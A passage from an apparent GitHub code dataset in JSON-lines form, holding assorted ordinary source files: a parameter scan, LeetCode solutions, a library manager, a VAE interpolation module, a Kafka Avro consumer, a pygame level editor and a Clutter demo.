zero_crossings[1]\n crosr[l] = zero_crossings[2]\n if ((x2[crosm[l]] - x2[crosl[l]]) > 10 and x2[crosm[l]] < 100):\n s[l] = sum((dx2 / y)[np.logical_and(y > 0, x2 > x2[crosm[l]])])\n\n # Save best values\n idxmax = s.index(max(s));\n H[i, j] = x2[crosr[idxmax]];\n R[i, j] = s[idxmax];\n Q[i, j] = sqrtc2[idxmax];\n\n # Generate random f1, f2 and f3 values and bcoop and ucoop values that result in the given A-F parameters\n found = False\n mine = -3;\n maxe = 2\n while (not found):\n f1 = 10 ** np.random.uniform(mine, maxe)\n f2 = 10 ** np.random.uniform(mine, maxe)\n f3 = 10 ** np.random.uniform(mine, maxe)\n C = f1 * Kd1 + f2 * Kd2 + f3 * Kd3\n f1 *= c / C;\n f2 *= c / C;\n f3 *= c / C;\n if (min([f1, f2, f3]) > 0.0009 and max([f1, f2, f3]) < 101):\n found = True\n else:\n mine += 0.5;\n maxe -= 0.5;\n if (mine > maxe):\n mine = 0;\n maxe = 0;\n found = True;\n\n bcoop12 = 10 ** np.random.uniform(max(-3, -2 + np.log10(omega12)), min(2, 2 + np.log10(omega12)))\n ucoop12 = bcoop12 / omega12\n\n bcoop23 = 10 ** np.random.uniform(max(-3, -2 + np.log10(omega23)), min(2, 2 + np.log10(omega23)))\n ucoop23 = bcoop23 / omega23\n\n bcoop13 = 10 ** np.random.uniform(max(-3, -2 + np.log10(omega13)), min(2, 2 + np.log10(omega13)))\n ucoop13 = bcoop13 / omega13\n\n bcoop123 = 10 ** np.random.uniform(max(-3, -2 + np.log10(omega123)), min(2, 2 + np.log10(omega123)))\n ucoop123 = bcoop123 / omega123\n\n beta = 0.1 * 0.01 * np.sqrt((2 + 0.001) / 0.01) / (Q[i, j] * 1)\n\n f12 = (b - 10 ** f13 * omega13 * Kd1 * Kd3) / (omega12 * Kd1 * Kd2 + omega23 * Kd2 * Kd3);\n f23 = f12\n\n # Fix other parameters\n\n params = {'beta': beta, 'gammam': 0.1, 'gammamRNA': 0.01, 'gammad': 0.001, 'alphaass': 0.01,\n 'alphadiss': 2, 'taum': 0, 'taumRNA': 0, 'DNAtot': 1, 'phi0': 1, 'f1': f1, 'f2': f2, 'f3': f3,\n 'f12': f12, 'f23': f23, 'f13': 10 ** f13, 'f123': 10 ** f123, 'kb1': 1, 'Kd1': Kd1, 'kb2': 1,\n 'Kd2': Kd2, 'kb3': 1, 'Kd3': Kd3, 'bcoop12': bcoop12, 'ucoop12': ucoop12, 'bcoop13': bcoop13,\n 'ucoop13': ucoop13, 'bcoop23': bcoop23, 'ucoop23': ucoop23, 'bcoop123': bcoop123,\n 'ucoop123': ucoop123, 'vol': 1}\n\n # Do deterministic timeseries and determine the induction time\n ddds.setparameters(params)\n T[i, j] = ddds.parambistab();\n else:\n H[i, j] = np.nan;\n R[i, j] = np.nan;\n\n # Save all values\n data = np.vstack((R.flatten(), H.flatten(), Q.flatten(), Cs.flatten(), Bs.flatten(), T.flatten()))\n\n np.savetxt('new/f123-%s-f13-%s.txt' % (sf123, sf13), data.T, fmt='%.3E')\n\ndef bistability_scan_SsLrpB():\n ''' Save all information about bistability in the parameter space of the SsLrpB system'''\n\n p = multiprocessing.Pool(num_cores)\n\n # scan over all values of f123 and f13\n f13s = np.linspace(-3, 2, 51);\n f123s = np.linspace(-3, 2, 51);\n f123s = f123s[f123s >= -0.2]\n for f123 in f123s:\n check_bistability_SsLrpB_ = partial(check_bistability_SsLrpB, f123=f123)\n p.map(check_bistability_SsLrpB_, f13s)\n\n# --------------------------------------------------------------------------------------------------------\n# COUNT SOLUTIONS\n# --------------------------------------------------------------------------------------------------------\n\ndef count_solutions_oscillations(file):\n \"\"\" Count the different types of monotonicity and print the results.\"\"\"\n\n data = pd.read_csv(file)\n\n print(\"Without selection criteria\",\n len(data[np.logical_and(np.logical_not(np.isnan(data['period'])), data['monotonicity_type'] == 0)]),\n len(data[np.logical_and(np.logical_not(np.isnan(data['period'])), data['monotonicity_type'] == 1)]),\n len(data[np.logical_and(np.logical_not(np.isnan(data['period'])), data['monotonicity_type'] == 2)]),\n len(data[np.logical_and(np.logical_not(np.isnan(data['period'])), data['monotonicity_type'] == 3)]),\n len(data[~np.isnan(data['period'])]))\n\n print(\"With selection criteria\", len(data[np.logical_and(data['selected'], data['monotonicity_type'] == 0)]),\n len(data[np.logical_and(data['selected'], data['monotonicity_type'] == 1)]),\n len(data[np.logical_and(data['selected'], data['monotonicity_type'] == 2)]),\n len(data[np.logical_and(data['selected'], data['monotonicity_type'] == 3)]), len(data[data['selected']]))\n\ndef count_solutions_bistability():\n systems = ['MDS', '2DS', '3DS']\n\n for system in systems:\n f = 'bistability/%s/H500-600.csv' % system\n data = pd.read_csv(f, na_values='NAN')\n data = data[np.logical_and(data['nonmono'] != 4, np.log10(data['T']) > 0)]\n data.dropna(inplace=True)\n\n print(system, data.groupby('nonmono').count()['R'])\n print(\"total %s\" % system, len(data))\n\n\ndef main():\n #for jj in range(2):\n # random_search('test-MDS.csv', sgs=MDS, system=System.RANDOM, concept=Concept.BISTABILITY)\n # check_SsLrpB_compatibility()\n return\n\nif __name__ == '__main__':\n main()\n\n","repo_name":"sophiedeb/single_gene_systems","sub_path":"scan_parameter_space.py","file_name":"scan_parameter_space.py","file_ext":"py","file_size_in_byte":31243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"5681884671","text":"from typing import List\n\n\nclass Solution:\n def rob(self, nums: List[int]) -> int:\n n = len(nums)\n if n == 0:\n return 0\n memo = [0, nums[0]]\n for i in range(1, n):\n memo.append(max(memo[i-1] + nums[i], memo[i]))\n return memo[-1]\n\n\nclass Solution:\n def rob(self, nums: List[int]) -> int:\n n = len(nums)\n if n == 0:\n return 0\n prev1 = 0\n prev2 = nums[0]\n for i in range(1, n):\n curr = max(prev1 + nums[i], prev2)\n prev1, prev2 = prev2, curr\n return prev2\n","repo_name":"Lenka42/problems-solutions","sub_path":"dynamic_programming/house_robber.py","file_name":"house_robber.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"40434581031","text":"import random\nimport os\n\n## 도서관 클래스\n## 회원 등록, 회원 정보 변경, 회원 삭제, 도서 정보 등록, 도서 정보 변경, 도서 정보 삭제, 도서 대출, 도서 반납 기능\n\nclass Member:\n member_id = \"\"\n member_name = \"\"\n \n def __init__(self, id, name):\n self.member_id = id\n self.member_name = name\n \n def update_member_data(self, name):\n self.member_name = name\n \nclass Book:\n book_id = \"\"\n book_name = \"\"\n book_author = \"\"\n book_member_id = \"\"\n \n def __init__(self, id, name, author):\n self.book_id = id\n self.book_name = name\n self.book_author = author\n \n def update_member_id(self, member_id):\n self.book_member_id = member_id\n \n def update_book_data(self, name, author):\n self.book_name = name\n self.book_author = author\n \nclass Library:\n member_list = []\n book_list = []\n \n def regist_member(self, name):\n id_key = random.randint(65,90)\n string_key = chr(id_key)\n string_key += str(random.randint(100000,999999))\n \n new_member = Member(string_key, name)\n self.member_list.append(new_member)\n print(\"--회원 추가가 성공하였습니다.--\")\n \n def regist_member_from_file(self, id, name):\n new_member = Member(id, name)\n self.member_list.append(new_member)\n print(\"--회원 추가가 성공하였습니다.--\")\n \n def remove_member(self, id):\n for member in self.member_list:\n if member.member_id == id:\n self.member_list.remove(member)\n print(\"--회원 제거가 성공하였습니다.--\")\n return\n \n print(\"--not exists id--\")\n \n def update_member(self, id, name):\n for member in self.member_list:\n if member.member_id == id:\n member.member_name = name\n print(\"--회원 정보 변경이 성공하였습니다.--\")\n print(member.member_id, member.member_name)\n return\n \n print(\"--존재하지 않는 회원 아이디입니다.--\")\n \n def show_memberlist(self):\n print(\"--회원 정보 리스트 출력--\")\n \n for member in self.member_list:\n print(member.member_id, member.member_name)\n \n print(\"\\n\")\n \n def write_member_list(self, file):\n for member in self.member_list:\n input_data = str(member.member_id) + \" \" + str(member.member_name) + \"\\n\"\n file.write(input_data)\n \n def read_member_list(self, file):\n lines = file.readlines()\n \n for line in lines:\n list = line.split()\n self.regist_member_from_file(list[0], list[1])\n \n def regist_book(self, name, author):\n id_key = random.randint(65,90)\n string_key = str(random.randint(100000,999999)) \n string_key += chr(id_key)\n \n new_book = Book(string_key, name, author)\n self.book_list.append(new_book)\n \n def regist_book_from_file(self, id, name, author):\n new_book = Book(id, name, author)\n self.book_list.append(new_book)\n \n def remove_book(self, id):\n for book in self.book_list:\n if book.book_id == id:\n self.book_list.remove(book)\n print(\"--도서 제거가 성공하였습니다--\")\n return\n \n print(\"--존재하지 않는 도서 아이디입니다.--\")\n \n def update_book(self, id, name, author):\n for book in self.book_list:\n if book.book_id == id:\n book.book_name = name\n book.book_author = author\n print(\"--도서 정보 변경이 성공하였습니다.--\")\n print(book.book_id, book.book_name, book.book_author)\n return\n \n print(\"--존재하지 않는 도서 아이디입니다.--\")\n \n def show_book_list(self):\n print(\"--도서 정보 리스트 출력--\")\n \n for book in self.book_list:\n print(book.book_id, book.book_name, book.book_author)\n \n print(\"\\n\")\n \n def write_book_list(self, file):\n for book in self.book_list:\n input_data = str(book.book_id) + \" \" + str(book.book_name) + \" \" + str(book.book_author) + \"\\n\"\n file.write(input_data)\n \n def read_book_list(self, file):\n lines = file.readlines()\n \n for line in lines:\n list = line.split()\n self.regist_book_from_file(list[0], list[1], list[2])\n \ndef load_data(library, book_path, member_path):\n try:\n book_file = open(book_path, \"r\", encoding=\"utf-8\")\n library.read_book_list(book_file)\n book_file.close()\n except FileNotFoundError as e:\n print(e)\n \n try:\n member_file = open(member_path, \"r\", encoding=\"utf-8\")\n library.read_member_list(member_file)\n member_file.close()\n except FileNotFoundError as e:\n print(e)\n \ndef save_data(library, book_path, member_path):\n try:\n book_file = open(book_path, \"w\", encoding=\"utf-8\")\n library.write_book_list(book_file)\n book_file.close()\n except FileNotFoundError as e:\n print(e)\n \n try:\n member_file = open(member_path, \"w\", encoding=\"utf-8\")\n library.write_member_list(member_file)\n member_file.close()\n except FileNotFoundError as e:\n print(e)\n \ndef main_entrance(library):\n \n while True:\n print(\"1. 회원 등록\")\n print(\"2. 회원 정보 삭제\")\n print(\"3. 회원 정보 변경\")\n print(\"4. 회원 목록 조회\")\n print(\"5. 도서 등록\")\n print(\"6. 도서 정보 삭제\")\n print(\"7. 도서 정보 변경\")\n print(\"8. 도서 목록 조회\")\n print(\"9. 종료\")\n \n input_value = input(\"원하는 메뉴를 입력해주세요. \\n >>>\")\n \n if input_value == '1':\n input_name = input(\"신규 회원의 이름을 입력해주세요. \\n >>>\")\n library.regist_member(input_name)\n elif input_value == '2':\n input_id = input(\"삭제할 회원의 아이디를 입력해주세요. \\n >>>\")\n library.remove_member(input_id)\n elif input_value == '3':\n input_id = input(\"변경할 회원의 아이디를 입력해주세요. \\n >>>\")\n input_name = input(\"변경할 회원의 이름을 입력해주세요. \\n >>>\")\n library.update_member(input_id, input_name) \n elif input_value == '4':\n library.show_memberlist()\n elif input_value == '5':\n input_name = input(\"신규 도서의 이름을 입력해주세요. \\n >>>\")\n input_author = input(\"변경할 도서의 저자를 입력해주세요. \\n >>>\")\n library.regist_book(input_name, input_author)\n elif input_value == '6':\n input_id = input(\"삭제할 도서의 아이디를 입력해주세요. \\n >>>\")\n library.remove_book(input_id)\n elif input_value == '7':\n input_id = input(\"변경할 도서의 아이디를 입력해주세요. \\n >>>\")\n input_name = input(\"변경할 도서의 이름을 입력해주세요. \\n >>>\")\n input_author = input(\"변경할 도서의 저자를 입력해주세요. \\n >>>\")\n library.update_book(input_id, input_name, input_author) \n elif input_value == '8':\n library.show_book_list()\n elif input_value == '9':\n break\n \nif __name__ == \"__main__\":\n \n book_path = os.getcwd() + \"\\\\book_data.txt\"\n member_path = os.getcwd() + \"\\\\member_data.txt\"\n \n library = Library()\n \n load_data(library, book_path, member_path)\n main_entrance(library)\n save_data(library, book_path, member_path)","repo_name":"0421cjy/pythonStudy","sub_path":"library.py","file_name":"library.py","file_ext":"py","file_size_in_byte":8043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"11204357767","text":"from random import *\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom math import *\n\n\n\n\ndef creerPoints(n,xmax,ymax):\n Liste=[]\n while len(Liste)!=n:\n L=[]\n L.append(np.random.uniform(0,xmax))\n L.append(np.random.uniform(0,ymax))\n if L not in Liste:\n Liste.append(L)\n return Liste\n\n\n\n##\n\n\ndef distance(point1,point2):\n x1,y1=point1[0],point1[1]\n x2,y2=point2[0],point2[1]\n return sqrt((x1-x2)**2+(y1-y2)**2)\n\nclass PlusProcheVoisin():\n\n def __init__(self,T,ref,n,xmax,ymax):#ref 0: # at least a valid decoding\n cnt = collections.Counter(dec_z)\n decoded.append(dic_z[cnt.most_common(1)[0][0]])\n return decoded\n\n\ndef linear_interpolation(model, model_name, data_folder, n_points=100, simplified=True):\n model.eval()\n folder_files = os.listdir(data_folder)\n test_files = [i for i in folder_files if i.startswith('validation')]\n with open(data_folder + os.path.sep + test_files[0], 'rb') as f:\n test_data = pickle.load(f)\n attr_idx = 2 if (simplified and len(test_data[0]) > 2) else 1\n test_data = [[d[0].to(model.device), d[attr_idx].to(model.device)] for d in test_data][20:]\n data = src.data_utils.PropFormulaeLoader.get_dvae_input(test_data)\n all_interp, all_dist = [[], []]\n for i in range(0, len(data)-1, 2):\n z_1, _ = model.encode([data[i]])\n z_2, _ = model.encode([data[i+1]])\n z_j, interp_j = [[], []]\n for j in range(0, n_points + 1):\n zj = z_1 + (z_2 - z_1) / n_points * j\n z_j.append(zj)\n all_interp.append(decode_most_common(model, z_j))\n all_dist.append(torch.norm(z_1 - z_2))\n with open('results' + os.path.sep + model_name + os.path.sep + \"linear_latent_\" + model_name + \".pickle\", \"wb\") \\\n as f:\n pickle.dump(all_interp, f)\n with open('results' + os.path.sep + model_name + os.path.sep + \"linear_latent_dist_\" + model_name + \".pickle\",\n \"wb\") as f:\n pickle.dump(all_dist, f)\n\n\ndef spherical_interpolation(model, model_name, data_folder, n_points=36, simplified=True):\n model.eval()\n folder_files = os.listdir(data_folder)\n test_files = [i for i in folder_files if i.startswith('validation')]\n with open(data_folder + os.path.sep + test_files[0], 'rb') as f:\n test_data = pickle.load(f)\n attr_idx = 2 if (simplified and len(test_data[0]) > 2) else 1\n test_data = [[d[0].to(model.device), d[attr_idx].to(model.device)] for d in test_data][:20]\n data = src.data_utils.PropFormulaeLoader.get_dvae_input(test_data)\n all_interp, all_omega = [[], []]\n for i, g in enumerate(data):\n z_i, _ = model.encode([g])\n norm_i = torch.norm(z_i)\n z_j = torch.ones_like(z_i)\n dim_to_change = random.randint(0, z_i.shape[1] - 1)\n z_j[0, dim_to_change] = -(z_i[0, :].sum() - z_i[0, dim_to_change]) / z_i[0, dim_to_change]\n z_j = z_j / torch.norm(z_j) * norm_i\n omega = torch.acos(torch.dot(z_i.flatten(), z_j.flatten()))\n z_x = []\n for x in range(0, n_points + 1):\n theta = 2 * math.pi / n_points * x\n zx = z_i * torch.cos(torch.Tensor([theta])) + z_j * torch.sin(torch.Tensor([theta]))\n z_x.append(zx)\n all_interp.append(decode_most_common(model, z_x))\n all_omega.append(omega)\n with open('results' + os.path.sep + model_name + os.path.sep + \"spherical_latent_\" + model_name + \".pickle\", \"wb\") \\\n as f:\n pickle.dump(all_interp, f)\n with open('results' + os.path.sep + model_name + os.path.sep + \"spherical_latent_omega_\" + model_name + \".pickle\",\n \"wb\") as f:\n pickle.dump(all_omega, f)\n","repo_name":"GaiaSaveri/LogicVAE","sub_path":"src/latent_visualization.py","file_name":"latent_visualization.py","file_ext":"py","file_size_in_byte":3913,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"32118817313","text":"#!/bin/python\n\nimport requests;\nimport os;\n# 请求头\nheader={\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36',\n 'Referer': 'https://www.bilibili.com/'\n}\n\n# 请求链接\nvideo_url=input(\"请输入vidio_m4s码::\");\n\n\n# 开始请求声音和视频\nvideo_resp=requests.get(headers=header,url=video_url);\n\n\n# 关闭请求\nvideo_resp.close();\n\n\n\n# 保存请求的内容\nwith open('video_data.mp4','wb') as file:\n file.write(video_resp.content);\n\n\n\n","repo_name":"windstormcoder/BilibiliGetter","sub_path":"bilibiliGetter/getVideo.py","file_name":"getVideo.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"27970993269","text":"from django.db import models\n\nfrom config import settings\nfrom Course.models import Course\n\nNULLABLE = {\"null\": True, \"blank\": True}\n\n\nclass Lesson(models.Model):\n lesson_name = models.CharField(max_length=100, verbose_name=\"название урока\")\n lesson_description = models.TextField(verbose_name=\"описание урока\", **NULLABLE)\n lesson_preview = models.ImageField(\n upload_to=\"course/\", verbose_name=\"изображение\", **NULLABLE\n )\n lesson_video_url = models.CharField(\n max_length=255, verbose_name=\"ссылка на видео\", **NULLABLE\n )\n course = models.ForeignKey(Course, on_delete=models.CASCADE, **NULLABLE)\n owner = models.ForeignKey(\n settings.AUTH_USER_MODEL, on_delete=models.CASCADE, **NULLABLE\n )\n\n def __str__(self):\n return f\"{self.lesson_name} {self.lesson_description}\"\n\n class Meta:\n verbose_name = \"урок\"\n verbose_name_plural = \"уроки\"\n","repo_name":"SandiNavoiy/homework_drf","sub_path":"Lesson/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":974,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"69927536252","text":"from confluent_kafka import KafkaError\nfrom confluent_kafka.avro import AvroConsumer\nfrom confluent_kafka.avro.serializer import SerializerError\nimport requests, time\n\n\n# Avro Consumer\ndef avro_consumer(urls, topics, uav_name):\n\t\n\tc = AvroConsumer(urls)\n\tc.subscribe(topics)\n\t\n\tcheck_time = 0\n\tmsges = []\n\tc_topic = \"\"\n\tloop = len(topics)\n\t\n\twhile True:\n\t try:\n\t msg = c.poll(10)\n\t except SerializerError as e:\n\t # print(\"Message deserialization failed for {}: {}\".format(msg, e))\n\t break\n\n\t if msg is None:\n\t continue\n\n\t if msg.error():\n\t # print(\"AvroConsumer error: {}\".format(msg.error()))\n\t continue\n\t m = msg.value()\n\n\t if (m[\"header\"]['sourceSystem'])== uav_name:\n\n\t \tif check_time==0 or check_time==m[\"header\"][\"time\"]:\n\t \t\tc.unsubscribe()\n\t \t\tcheck_time=m[\"header\"][\"time\"]\n\t \t\tc_topic = msg.topic()\n\t \t\td = topics.index(c_topic)\n\t \t\tdel topics[d]\n\t \t\tmsges.append(msg)\n\t \t\tloop = loop - 1\n\t \t\tif loop==0:\n\t \t\t\tbreak\n\t \t\tc.subscribe(topics)\n\t \t\t\t \t\t\n\tc.close()\n\t\n\t# return the list of consumed avro messages (one for each topic - same timestamp)\n\n\treturn(msges)","repo_name":"jdimol/Rawfie-IoT2Edge-Integration","sub_path":"aeroloop_experiment/avro_consumer.py","file_name":"avro_consumer.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"8797673953","text":"from btn import draw_button\nfrom game import *\nimport sqlite3\n\nBLACK = [0]*3\nBUTTON_COLOR = [0, 255, 0]\nBACKGROUND_COLOR = [255]*3\nPOX = '0'\n\n\ndef savemap(num, platforms, barrels, ladders, start, finish):\n \"\"\"Функция сохранения карты в БД\"\"\"\n\n con = sqlite3.connect('Map.db')\n cur = con.cursor()\n\n # Num = str(1) # пока и так сойдет # Нет, не сойдёт\n plat = [] # Карооче, есл�� ты это увидишь просто напиши мне их позиции (и угл у панелек) ИЛИ напиши мне в личку это.\n bar = []\n lad = []\n startpos = \",\".join((str(start.rect.x), str(start.rect.y)))\n finishpos = \",\".join((str(finish.rect.x), str(finish.rect.y)))\n\n for sprite in platforms:\n angle = sprite.angle\n sprite.rotate(-angle)\n plat.append(str(sprite.rect.x) + ',' + str(sprite.rect.y) + ':' + str(angle))\n\n for sprite in barrels:\n bar.append(str(sprite.rect.x) + ',' + str(sprite.rect.y))\n\n for sprite in ladders:\n lad.append(str(sprite.rect.x) + ',' + str(sprite.rect.y))\n\n print(num, ';'.join(plat), ';'.join(bar), ';'.join(lad), startpos, finishpos)\n\n cur.execute(\"\"\"DELETE FROM data WHERE id == ?\"\"\", num)\n cur.execute(\"INSERT INTO data(id, Platform, Barrel, Ladder, Startpos, Finishpos) VALUES (?, ?, ?, ?, ?, ?)\",\n (num, ';'.join(plat), ';'.join(bar), ';'.join(lad), startpos, finishpos))\n\n con.commit()\n con.close()\n\n\ndef start(screen, load=False):\n \"\"\"Функция запускающая окно коснтруктора уровней\"\"\"\n\n # Кнопка сохранения\n btn = [\"Создать\", 10, 10, 200, 80, BUTTON_COLOR]\n\n # Это для выбора элемента, который мы ставим кнопкой мыши\n selected = None\n examples_rects = {\n 'platform': (250, 5, PLATFORM_SIZE[0] + 10, PLATFORM_SIZE[1] + 10),\n 'ladder': (450, 5, LADDER_SIZE[0] + 10, LADDER_SIZE[1] + 10),\n 'barrel': (520, 5, BARREL_SIZE[0] + 10, BARREL_SIZE[1] + 10),\n }\n\n # Группы спрайтов\n examples = pygame.sprite.Group()\n platforms = pygame.sprite.Group()\n ladders = pygame.sprite.Group()\n barrels = pygame.sprite.Group()\n poses = pygame.sprite.Group()\n\n # Образцы\n Platform(examples, (examples_rects['platform'][0] + 5, examples_rects['platform'][1] + 5))\n Ladder(examples, (examples_rects['ladder'][0] + 5, examples_rects['ladder'][1] + 5))\n Barrel(examples, (examples_rects['barrel'][0] + 5, examples_rects['barrel'][1] + 5))\n\n start_ = StartPos(poses, (5, 100))\n finish_ = FinishPos(poses, (45, 100))\n\n running = True\n choosing_start = False\n choosing_finish = False\n screen.fill(BACKGROUND_COLOR)\n draw_selected = lambda: None\n\n if load:\n map_ = bd(POX)\n\n start_ = StartPos(poses, map_[3])\n finish_ = FinishPos(poses, map_[4])\n\n for i in map_[0]:\n p = Platform(platforms, i[0])\n p.rotate(int(i[1]))\n\n for i in map_[1]:\n Ladder(ladders, i)\n\n for i in map_[2]:\n Barrel(barrels, i)\n\n while running: # Цикл-обработчик\n for event in pygame.event.get():\n\n if event.type == pygame.QUIT:\n # Завершаем игровой цикл, если программу закрыли\n running = False\n break\n\n elif event.type == pygame.MOUSEBUTTONDOWN:\n\n obj = pygame.sprite.spritecollideany(Nothing(pygame.mouse.get_pos()), poses)\n\n if type(obj) == StartPos:\n choosing_start = not choosing_start\n continue\n elif type(obj) == FinishPos:\n choosing_finish = not choosing_finish\n continue\n\n obj = pygame.sprite.spritecollideany(Nothing(pygame.mouse.get_pos()), examples)\n\n if type(obj) == Platform:\n draw_selected = lambda: pygame.draw.rect(screen, BLACK, examples_rects['platform'], 2)\n selected = Platform, platforms\n elif type(obj) == Ladder:\n draw_selected = lambda: pygame.draw.rect(screen, BLACK, examples_rects['ladder'], 2)\n selected = Ladder, ladders\n elif type(obj) == Barrel:\n draw_selected = lambda: pygame.draw.rect(screen, BLACK, examples_rects['barrel'], 2)\n selected = Barrel, barrels\n\n if not selected or obj:\n continue\n\n if btn[1] < event.pos[0] < btn[1] + btn[3] and \\\n btn[2] < event.pos[1] < btn[2] + btn[4]:\n\n savemap(POX, platforms, barrels, ladders, start_, finish_)\n running = False\n break\n\n selected[0](selected[1], event.pos)\n\n elif event.type == pygame.KEYDOWN:\n\n if event.key == pygame.K_DELETE:\n for group in [platforms, ladders, barrels]:\n obj = pygame.sprite.spritecollideany(Nothing(pygame.mouse.get_pos()), group)\n if obj:\n obj.kill()\n break\n\n elif event.key == pygame.K_LALT:\n obj = pygame.sprite.spritecollideany(Nothing(pygame.mouse.get_pos()), platforms)\n if obj:\n obj.rotate(30)\n\n if choosing_start:\n start_.move(*pygame.mouse.get_pos())\n if choosing_finish:\n finish_.move(*pygame.mouse.get_pos())\n\n screen.fill(BACKGROUND_COLOR)\n draw_button(screen, [btn])\n draw_selected()\n examples.draw(screen)\n platforms.draw(screen)\n ladders.draw(screen)\n barrels.draw(screen)\n poses.draw(screen)\n pygame.display.flip()\n\n\ndef konstrukt():\n screen = pygame.display.set_mode(*WINDOW_SIZE)\n start(screen)\n\n\nif __name__ == \"__main__\":\n pygame.init()\n konstrukt()\n pygame.quit()\n\n\n\n\n\n","repo_name":"ramses44/PyGame_project","sub_path":"konstruktor.py","file_name":"konstruktor.py","file_ext":"py","file_size_in_byte":6187,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"906486320","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\nfrom requests import get\nfrom ast import literal_eval\nimport os\nfrom statics import github_link, update_config_name\nfrom dataIO import dataIO\nfrom util import util\n\n\ndef get_response_result(url):\n response = get(url)\n return response.status_code == 200, response\n\n\ndef check_path(path):\n current_path = os.getcwd()\n for item in path.split(\"/\"):\n current_path = os.path.join(current_path, item)\n if not os.path.exists(current_path):\n if item.find(\".json\") > 0:\n open(current_path, \"w\").close()\n else:\n os.mkdir(current_path)\n\n\ndef check_remote_hashes():\n response_status, response = get_response_result(github_link + \"configs/version.cfg\")\n if response_status:\n remote_cfg = literal_eval(response.text)\n need_update = []\n for key, value in remote_cfg.items():\n path = key.split(\"_\")\n path = \"configs/{}/{}.json\".format(path[0], path[1])\n if util.generate_md5(path) != value:\n need_update.append(path)\n return need_update\n return False\n\n\ndef update_configs(is_save, cfg_list):\n if is_save in (0, 1):\n for cfg in cfg_list:\n check_path(cfg)\n response_status, response = get_response_result(github_link + cfg)\n if response_status:\n remote_cfg = literal_eval(response.text)\n if dataIO.is_valid_json(cfg) or os.path.exists(cfg):\n dataIO.save_json(cfg, remote_cfg)\n if is_save in (1, 3):\n text = str({\"answer_updates\": is_save == 3,\n \"update_on_start\": is_save == 1})\n with open(update_config_name, \"w\") as f:\n f.write(text)\n","repo_name":"JDM170/SaveWizard","sub_path":"module_parsing/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":1763,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"36395204329","text":"\"\"\"\nTwo phases:\n1. Search for the target in the array. If we don't find it, return [-1, -1]\n2. Once found at index i, search the first appearance in array[: i] included, and the last into array[i: ].\nFirst appearance: index i such that array[i] == target and (i == 0 or array[i - 1] < target)\nLast appearance: index i such that array[i] == target and (i == len(array) - 1 or array[i + 1] > target).\n\nO(log n) time, O(1) space\n\"\"\"\nclass Solution:\n def searchRange(self, nums: List[int], target: int) -> List[int]:\n def search_first_appearance(array, target, start, end):\n while start <= end:\n middle = (start + end) // 2\n if array[middle] == target:\n if middle == 0 or array[middle - 1] < target:\n return middle\n else:\n end = middle - 1\n else:\n start = middle + 1\n \n def search_last_appearance(array, target, start, end):\n while start <= end:\n middle = (start + end) // 2\n if array[middle] == target:\n if middle == len(array) - 1 or array[middle + 1] > target:\n return middle\n else:\n start = middle + 1\n else:\n end = middle - 1\n \n start = 0\n end = len(nums) - 1\n first_appearance = -1\n last_appearance = -1\n while start <= end:\n middle = (start + end) // 2\n if nums[middle] == target:\n first_appearance = search_first_appearance(nums, target, start, middle)\n last_appearance = search_last_appearance(nums, target, middle, end)\n break \n elif nums[middle] > target:\n end = middle - 1\n else:\n start = middle + 1\n return [first_appearance, last_appearance]","repo_name":"nicolopomini/leetcode","sub_path":"34 Find First and Last Position of Element in Sorted Array/sol.py","file_name":"sol.py","file_ext":"py","file_size_in_byte":1961,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"18456952844","text":"#!/usr/bin/env python3\n\nimport math\n\nfrom gi.repository import Clutter\n\n# We store the name of the region as the dictionary key, and then keep a list of the color\n# and a reference to the created Rectangle instance.\nRECTS = {\n \"NorthWest\": [\"#8ae234\", None], \"North\": [\"#73d216\", None], \"NorthEast\": [\"#4e9a06\", None],\n \"West\": [\"#729fcf\", None], \"Center\": [\"#3465a4\", None], \"East\": [\"#204a87\", None],\n \"SouthWest\": [\"#ef2929\", None], \"South\": [\"#cc0000\", None], \"SouthEast\": [\"#a40000\", None]\n}\n\nSHADER_SOURCE = \"\"\"\nuniform sampler2D tex;\nuniform float factor;\nvec3 desaturate (const vec3 color, const float desaturation) {\n const vec3 gray_conv = vec3 (0.299, 0.587, 0.114);\n vec3 gray = vec3 (dot (gray_conv, color));\n return vec3 (mix (color.rgb, gray, desaturation));\n}\nvoid main () {\n vec4 color = cogl_color_in * texture2D (tex, vec2 (cogl_tex_coord_in[0].xy));\n color.rgb = desaturate (color.rgb, factor);\n cogl_color_out = color;\n}\n\"\"\"\n\nRECT_SIZE = 128\nV_PADDING = 32\nH_PADDING = 32\nANIM_TIME = 750\nIS_EXPANDED = False\n\ndef do_animate(rect, opacity, reactive, x, y):\n properties = {\n \"opacity\": opacity,\n \"reactive\": reactive\n }\n\n if not x == None:\n properties[\"@constraints.x-bind.offset\"] = x\n \n if not y == None:\n properties[\"@constraints.y-bind.offset\"] = y\n\n RECTS[rect][1].animate(Clutter.AnimationMode.EASE_OUT_EXPO, ANIM_TIME, properties)\n\ndef button_release_cb(actor, event, data):\n global IS_EXPANDED\n\n if not IS_EXPANDED:\n north = (RECTS[\"Center\"][1].get_height() + V_PADDING) * -1.0\n south = (RECTS[\"Center\"][1].get_height() + V_PADDING)\n west = (RECTS[\"Center\"][1].get_width() + 